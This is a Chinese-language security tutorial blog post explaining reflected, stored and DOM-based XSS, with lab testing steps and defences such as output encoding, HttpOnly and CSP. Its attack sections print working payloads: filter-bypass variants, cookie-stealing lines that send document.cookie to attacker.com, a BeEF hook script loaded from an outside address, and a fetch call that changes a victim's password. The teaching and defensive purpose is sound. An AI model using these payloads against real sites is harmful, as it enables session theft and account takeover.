XSS跨站脚本攻击,做安全的同行肯定不陌生,但真正能把反射型、存储型、DOM型这三者的原理讲透、利用玩明白的人,其实并不多。我早些年挖洞的时候,曾经在一个后台管理系统里发现一个存储型XSS,当时只是抱着试试看的心态在用户名那里插了一段payload,结果管理员一登录,Cookie直接打到我的服务器上,前后不到十秒钟。那一次之后我才彻底意识到,XSS绝不只是"弹个窗"那么简单,它背后暴露的是整个Web应用对输入输出信任模型的崩塌。
这篇文章我打算从一个攻击者的视角,把三类XSS的原理、利用手法、绕过技巧和防护思路完整拆解一遍,中间会穿插一些我在实际测试和攻防演练中踩过的坑。不管你是刚入门的安全爱好者,还是已经在做渗透测试的工程师,这篇文章都能给你一些不一样的思路。
1. 理解XSS攻击的核心:浏览器信任机制的失效
1.1 从"网页被改了"说起:XSS的本质
XSS全称Cross-Site Scripting,跨站脚本攻击。很多人第一次接触这个概念的时候会疑惑:为什么叫"跨站"?明明攻击代码是写在目标网站自己页面里的啊。
这个问题的答案,要追溯到浏览器的一个基础信任模型。浏览器在渲染一个页面的时候,会无条件信任这个页面返回的所有内容,包括HTML标签、CSS样式、JavaScript代码。它的信任对象是"整个响应",而不是"响应中的某个部分"。当服务端返回的内容里混入了攻击者精心构造的数据,而服务端又没有对这些数据做任何处理,浏览器就会把攻击者的代码当作网站自身的合法代码来执行。
这就像你请了一个保洁阿姨到家里打扫卫生,你给了她一把钥匙(信任),告诉她可以打开所有房间的门。结果这个阿姨其实是小偷伪装的,她不仅打扫了房间,还把你保险柜里的钱拿走了。浏览器就是这个"保洁阿姨",它分不清哪些是网站原本的代码,哪些是攻击者注入的恶意代码,只要是从同一个域名返回的数据,它全都信。
所以XSS的本质,是服务端对用户输入缺乏信任和过滤,导致恶意代码在受害者的浏览器环境中执行。攻击者利用的是浏览器对"来源"的信任,而不是对"内容"的信任。
1.2 三种类型的核心差异:执行位置决定攻击方式
反射型、存储型、DOM型这三类XSS,如果只看最终效果,都是"在受害者浏览器里执行了一段恶意JavaScript",但它们的执行方式、利用难度和危害范围却有很大区别。我把它们的核心差异总结成一个表格:
| 类型 | 恶意代码存储位置 | 服务端是否参与 | 攻击触发方式 | 危害范围 |
|---|---|---|---|---|
| 反射型 | 不存储,在URL中 | 是,服务端拼接响应 | 诱导受害者点击恶意链接 | 单次请求,受害者个人 |
| 存储型 | 存储在服务端数据库 | 是,服务端拼接响应 | 受害者访问包含恶意数据的页面 | 持久化,影响所有访问者 |
| DOM型 | 不存储,在URL中(或本地存储) | 否,纯前端处理 | 诱导受害者点击恶意链接 | 单次请求,受害者个人 |
这个表格最值得关注的是第三行——DOM型XSS,服务端不参与。这是很多初学者最大的认知盲区,后面我会专门展开讲。
从攻击者的角度来说,存储型的利用价值最高,因为它是"一次注入,持续生效",而且影响范围是所有访问这个页面的用户,不需要单独对每个受害者发起攻击。反射型的利用门槛最低,一张钓鱼链接发过去就行,但需要受害者主动点击。DOM型最容易被人忽略,它的检测难度也最大,因为直接看服务端代码很难发现问题,问题隐藏在前端JavaScript里。
2. 反射型XSS:一次请求与响应之间的"顺手牵羊"
2.1 反射型XSS的完整攻击链
反射型XSS也叫非持久性XSS,攻击者的恶意脚本通过URL参数传入,服务端在生成响应页面时把这个参数原封不动地嵌入了HTML代码,浏览器解析后就执行了恶意脚本。
一条完整的反射型XSS攻击链路是这样的:
- 攻击者构造一个特殊的URL,比如
http://example.com/search?keyword=<script>alert(1)</script> - 攻击者通过钓鱼邮件、聊天消息等方式诱导受害者点击这个URL
- 浏览器向服务端发起请求,服务端接收
keyword参数,拼接进HTML响应 - 浏览器解析响应,发现
<script>标签,当作页面脚本执行 - 恶意脚本执行,可以是弹窗、窃取Cookie、钓鱼等任意操作
这里的关键点在于第三步,服务端把用户输入直接拼接到HTML里。很多服务端框架(尤其是老旧的PHP、JSP)都容易在搜索、报错、页面跳转等场景出现这种问题。
2.2 皮卡丘靶场实战:一个搜索框引发的"血案"
皮卡丘靶场(Pikachu)是很多安全初学者上手的第一个CTF靶场,它的反射型XSS关卡设计得非常典型。我拿它的搜索功能来演示一下完整的测试流程。
打开靶场的反射型XSS页面,你会看到一个搜索框,输入任意内容,页面上会显示"您输入的值为:xxx"。这个回显位置就是一个天然的"反射点"。
测试步骤如下:
第一步,随便输入一个字符串,比如test,观察回显位置。页面上显示您输入的值为:test,说明输入被直接拼接到了页面文本中。
第二步,尝试输入HTML标签。输入<h1>test</h1>,看浏览器是否把这个标签解析成了标题格式。如果页面上出现了大号加粗的"test",说明HTML标签没有被过滤,可以进一步尝试脚本注入。
第三步,输入<script>alert(1)</script>,提交后浏览器弹出1的提示框,说明XSS漏洞完全成立。
这里要注意一个细节,第三步输入<script>alert(1)</script>之后,页面的HTML源码会变成这样:
<p>您输入的值为:<script>alert(1)</script></p>浏览器的解析器遇到<script>标签后,会把它当作脚本块的开始,后面的内容全部作为脚本代码执行,直到遇到</script>闭合标签。
2.3 绕过实战:当标签被过滤怎么办
在皮卡丘靶场成功弹窗后,很多人觉得自己已经会了,但真实环境远比靶场复杂。实际开发中,很少有服务端会完全不设防地接受所有标签,常见的情况是过滤了<script>、alert等敏感关键词,或者使用了HTML实体编码。这时候就需要一些绕过思路:
第一种情况,只过滤了<script>标签却没过滤事件属性。可以尝试<img src=x onerror=alert(1)>,这个payload的逻辑是让图片加载失败,触发onerror事件执行JavaScript。
第二种情况,过滤了关键词alert。可以尝试把alert拆开,字符串拼接或者编码变形。比如<img src=x onerror=eval(atob('YWxlcnQoMSk='))>,其中YWxlcnQoMSk=是alert(1)的Base64编码。还可以用编码器,<img src=x onerror=alert(1)>换成带HTML实体编码的变体。
第三种情况,WAF对常见payload做了正则匹配,但没做上下文感知。可以尝试在标签内部插入换行、Tab等空白字符来绕过正则,比如<scr\tipt>alert(1)</script>。这种方式比较碰运气,但确实有效过很多次。
注意:绕过的核心思路是先尝试最简单的payload,确认攻击面存在,再根据过滤情况逐步调整。一上来就用复杂编码,反而容易被WAF拦截或者因为语法错误导致注入失败。
3. 存储型XSS:一次注入,持久危害
3.1 存储型XSS的原理与危害
存储型XSS也叫持久性XSS,它的整个过程和反射型的最大区别在于:恶意代码被服务端保存到了数据库里。后续任何用户访问这个页面时,服务端会从数据库读出恶意代码再拼接到响应里,导致每个访问者都会中招。
存储型XSS常见于留言板、评论区、用户昵称、个人签名、文章标题这类用户内容会被持久化保存的功能模块。攻击者只要在一个高流量的站点发一条包含恶意payload的评论,所有浏览这条评论的用户都会成为受害者。
我把存储型XSS的攻击链拆解一下:
- 攻击者在目标网站的评论区提交一条包含恶意脚本的评论,比如
<script>document.location='http://attacker.com/cookie.php?c='+document.cookie</script> - 服务端把这条评论存入数据库,没有做过滤或转义
- 其他用户打开这个页面,浏览器加载评论列表,服务端返回原始HTML
- 所有访问者的Cookie被发送到攻击者的服务器
这个攻击链里,攻击者不需要针对单个用户发送钓鱼链接,恶意代码会主动"等待"受害者上钩。如果这个评论位于管理后台可见的审计日志页面,攻击者甚至可以拿到管理员的会话Cookie,直接打穿整个后台。
3.2 存储型XSS的进阶利用:从弹窗到接管会话
很多人测试存储型XSS的时候,payload就停在alert(1)这一步,这是远远不够的。存储型XSS利用分为几个层次:
第一层:证明漏洞存在。用带随机数的alert(document.domain),证明脚本能在这个域下执行。
第二层:窃取Cookie。用new Image().src='http://attacker.com/steal.php?c='%2Bdocument.cookie,把受害者的Cookie打到攻击者服务器。这里用new Image()是因为图片请求不需要考虑跨域问题,而且不干扰当前页面功能。
第三层:模拟登录/钓鱼。在页面里动态生成一个假的登录框,诱导受害者输入账号密码,然后提交到攻击者的服务器。这种攻击对普通用户几乎无法察觉,因为他们看到的登录框就在正常页面上。
第四层:配合CSRF实现敏感操作。如果目标站点的修改密码、绑定邮箱等操作没有CSRF Token保护,XSS可以直接发起AJAX请求完成这些操作。比如构造一个请求去修改受害者绑定的手机号,这比单纯偷Cookie更隐蔽。
我在某个授权测试项目里,靠一个存储型XSS配合CSRF,直接把测试账号的邮箱地址改成了自己的Gmail邮箱,然后走找回密码流程接管了账号。整个过程没有偷到管理员Cookie,但实现的效果比偷Cookie更直接。
3.3 利用beef框架进行浏览器控制
存储型XSS的另一个经典利用方式是挂到BeEF(Browser Exploitation Framework)上。BeEF可以被动地等待目标访问页面,一旦页面上注入了BeEF的hook脚本,BeEF就能直接控制受害者的浏览器,执行各种模块。
基本思路是在注入的payload里加上BeEF的hook地址:
<script src="http://192.168.1.100:3000/hook.js"></script>当受害者打开页面加载了这段脚本后,BeEF控制台会显示目标已经上线,攻击者可以使用几十个模块进行浏览器控制,包括窃取Cookie、键盘记录、截取表单数据、内网探测等。
这一招最厉害的地方在于,hook脚本一旦加载,就算受害者关闭当前页面再打开其他同源页面,只要浏览器相同的源被注入过,攻击者仍然可以保持控制(取决于BeEF的实现和浏览器策略)。不过在当前主流浏览器的安全策略下,BeEF的一些高级模块受限较多,需要结合实际情况选择利用方式。
4. DOM型XSS:藏在页面代码里的"内鬼"
4.1 为什么说DOM型XSS"服务端不参与"
很多人在学习DOM型XSS的时候,最大的困惑是:它和反射型XSS看起来都是通过URL传入恶意参数,为什么说是"纯前端"的呢?
要回答这个问题,需要理解DOM型XSS的执行链路。反射型XSS的完整链路是:URL参数 -> 服务端接收 -> 拼接进HTML -> 返回响应 -> 浏览器解析执行。服务端在这个链路的中间环节起了"帮凶"的作用,把恶意内容拼进去了。
DOM型XSS的链路则是:URL参数 -> 浏览器加载页面 -> 前端JavaScript读取参数 -> 动态修改DOM -> 恶意内容被插入并执行。
看第二行的链路,服务端在整个过程中只是把一份静态的HTML和JS文件返回给浏览器,完全没有参与数据的拼装。恶意内容是被"夹带"在URL的hash或查询参数里,当浏览器执行到某段JavaScript,这段脚本会读取URL参数、根据参数生成HTML并写入页面。
看起来最终的恶意脚本还是在浏览器里被执行了,但问题代码根本不在服务端,而是在前端的JavaScript逻辑里。就算把服务端的所有代码翻个底朝天,也看不到任何<script>标签直接嵌入HTML响应的痕迹。
4.2 一个典型的DOM型XSS实例
假设有一个简单的留言页面,前端代码如下:
var name = decodeURIComponent(location.search.split('name=')[1]); document.getElementById('welcome').innerHTML = "欢迎你," + name + "!";这段逻辑很简单:从URL的查询参数里读取name的值,然后通过innerHTML写入页面。如果攻击者构造这样一个URL:
http://example.com/index.html?name=<img src=x onerror=alert(document.cookie)>浏览器加载页面后,执行到document.getElementById('welcome').innerHTML = ...这一行,会把name的值作为HTML解析并插入到welcome元素里。<img>标签触发onerror事件,恶意代码执行。
这个过程中,服务端返回的HTML响应是完全干净的,没有任何过滤的必要,因为它根本不知道用户会传进来什么内容。问题全部出在前端的innerHTML这个高危操作上。
4.3 DOM型XSS的挖掘与利用技巧
DOM型XSS的挖掘思路和传统的服务端XSS完全不同,因为服务端代码审查是检查不出来的。我平时挖DOM型XSS主要靠两条路:
第一条路,静态代码审计。在前端JavaScript里搜索高危DOM操作函数,这些函数都可能成为恶意内容的注入点,主要常见的有这些:
document.write()document.writeln()element.innerHTML/element.outerHTMLelement.insertAdjacentHTML()location相关的修改操作
第二条路,动态调试。用Chrome开发者工具的Sources面板,在可疑的JS文件里下断点,然后在地址栏手动构造恶意参数观察执行流程。
利用方面要特别注意,DOM型XSS有一个天然的"限制"——如果恶意代码是通过URL参数传入的,那么只能影响单个用户,危害范围和反射型类似。但DOM型XSS有个特殊场景值得单独说一下:location.hash的内容不会被发送到服务端,所以用hash注入payload是不会有Web日志记录的,隐蔽性更强。很多WAF只检查请求行,对hash部分完全不设防。
5. 三类XSS的检测方法与实站一环(避坑必读)
5.1 一个清晰的三步判断法
实际渗透测试中,遇到一个疑似XSS的输入点,很多人不知道从哪儿入手判断它属于哪种类型。我总结了一套三步判断法,直接照着做就行。
第一步,看恶意代码会不会被服务端存储。提交一条包含payload的内容,刷新页面看恶意代码是否仍然出现在页面上。如果刷新后还在,说明是存储型。
第二步,看恶意代码是否在响应中直接出现。用Burp Suite抓包提交请求,查看服务端返回的响应体里是否有未编码的payload。如果响应里直接包含<script>或HTML标签,说明是反射型(或存储型)。
第三步,如果抓包发现响应体干净,但浏览器里却执行了payload,那就是DOM型。再用页面的Sources面板搜索一下读取URL参数的代码位置,就能找到具体的漏洞点。
这三步看似简单,但能过滤掉90%的类型判断错误。特别是第二步和第三步的区别,很多人抓包之后看到响应体里没有payload就直接判定"没有XSS",这恰恰会漏掉DOM型。
5.2 常见的判断误区与踩坑记录
这几年我一直没见过"为了XSS而XSS"的初学者只会在<script>alert(1)</script>上打转,但真正在实战里踩过的坑往往在多浏览器兼容这块。我举个例子:
在Chrome里,<svg/onload=alert(1)>是能正常执行的,但在某些浏览器版本里svg的载荷表现不一致。如果测试时只看了一个浏览器就下结论,很容易漏报。所以在做XSS测试时,同一套payload最好在Chrome、Firefox、Edge、Safari至少四个浏览器里各测一遍,确认能稳定执行才算有效。
另一个坑是关于字符集的问题。早期很多站点在响应头里不声明Content-Type的字符集,浏览器会自己猜测编码方式。如果页面是GBK编码,而我们提交的payload里包含%c0%bc这样的畸形编码,有可能利用宽字节编码绕过过滤。这种情况在今天的站点上已经很罕见了,但遇到老系统时需要留个心眼。
还有一个很容易被忽略的地方,就是富文本编辑器。很多后台的留言板、公告栏、文章正文都用了UEditor、CKEditor这种富文本编辑器,开发人员会觉得"富文本编辑器应该自己过滤了吧",于是不再额外做服务端过滤。实际上,编辑器只负责前端展示,提交到服务端的数据还是要靠后端做过滤。我在测试某个新闻发布系统时,就是从富文本编辑器的"颜色"属性里插入了javascript:alert(1)的伪协议payload,绕过了编辑器自带的标签白名单。
5.3 XSS与CSRF联动的经典利用思路
最后分享一个我在实际项目里经常用到的高价值组合拳。单纯靠XSS偷Cookie有时会因为HttpOnly标记而失败,但XSS真正的价值在于它可以完全控制受害者的浏览器,执行任何操作。
我的一个常用姿势是:通过XSS注入JS代码,让受害者的浏览器向/api/update_password发一个POST请求,把密码改掉。如果这个接口没有CSRF Token,那么一次XSS就完成了账号接管。
fetch('/api/update_password', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({new_password: 'Hacked@2024'}) })这段代码只需要几行,但它表达了XSS的一个核心理念:XSS本身只是入口,真正的危害取决于后续组合利用。在红队演练中,我们经常把XSS作为进入内网的第一跳板。
6. 不确认的漏洞不如不写:防御才是真正实战中的全部
6.1 输出编码与输入过滤的正确姿势
防御XSS,正确的思路会被很多人忽视:输入过滤不是主角,输出编码才是正路。为什么这么说?因为你的业务可能需要用户输入任意内容(比如论坛的帖子、博客的评论),如果一刀切把<script>全删了,用户想贴一段技术代码都会被破坏。更好的做法是:输入环节尽量宽松,输出环节对上下文做编码。
以Java为例,如果要输出到HTML标签之间,应该做HTML实体编码:
String safe = StringEscapeUtils.escapeHtml4(userInput);如果要输出到JavaScript字符串里,要做JavaScript转义。这两者的编码规则完全不同,混淆使用仍然存在XSS风险。
同时,输入过滤也不能完全放弃,我建议用白名单方式:比如用户提交的字段只允许数字,就只允许数字,其他一律拒绝。这种做法对业务侵入最小,同时能杜绝多种注入攻击。
6.2 HttpOnly和CSP:两道"保命"的防线
HttpOnly和CSP这两项技术在XSS防御体系里占据重要位置,但它们解决的问题不一样。
第一道,HttpOnly标记。当服务端设置Cookie时加上HttpOnly属性,JavaScript就无法通过document.cookie读取到这个Cookie的值。这直接切断了XSS攻击最经典的"盗Cookie"路径。需要注意的是,HttpOnly只能保Cookie不被偷,但它挡不住XSS本身执行其他恶意操作,比如修改页面内容、发送请求等。
第二道,CSP(Content Security Policy,内容安全策略)。CSP能限制页面只能加载哪些来源的资源,通过响应头或者meta标签声明。一个合理的CSP配置可以做到默认源白名单,限制所有资源来源到自己的域名:
Content-Security-Policy: default-src 'self'; script-src 'self'这句话的含义是:所有资源默认只允许来源本站,脚本也只允许来源本站。这样一来,即使攻击者注入了<script src="http://evil.com/payload.js">,浏览器也会因为源不在白名单里而拒绝加载。这就是"纵深防御"的实战意义。
6.3 安全编码规范的几条底线
最后,把我这些年做安全评审时反复强调的几条"底线"列一下,新项目在开发阶段就把这些约定写进规范文档里,能省掉大量后期修复的麻烦:
- 禁止在前端使用
innerHTML、document.write()直接插入用户可控内容,改用textContent或innerText - 所有用户输入在服务端按输出上下文做编码,库如ESAPI、OWASP Java Encoder
- Cookie一律加上
HttpOnly和Secure标记,特别是有敏感数据的站点 - 前端框架(Vue、React)尽量使用默认的插值语法,不要用
v-html、dangerouslySetInnerHTML渲染用户内容 - 定期用自动化工具做扫描,Wapiti、XSStrike、Burp Suite的Pro版插件都可以用来做XSS专项扫描
这些规则不一定能100%防住所有XSS,但把它们全部落实之后,攻击者要想找到一个可利用的注入点,难度会指数级上升。安全本身就是一场成本和时间的博弈,你多设置一道关卡,攻击者就多付出一次资源。
我在做项目测试时一直有一个习惯——发现XSS漏洞以后,不会只报一个alert(1)的结果就完事,而是会把payload的完整攻击链路、影响范围、修复建议一起写进报告。因为对开发来说,一个"弹窗了"的漏洞描述没有任何指导意义,只有告诉他们"这里是问题、那里需要改",漏洞的处置效率才会高。这也算是我做安全工作多年的一个小总结:漏洞的价值在于被理解,而不只是被报告。对XSS这类老而弥坚的问题更是如此——理解了它的原理,攻击和防御就都站到了同一水平线上。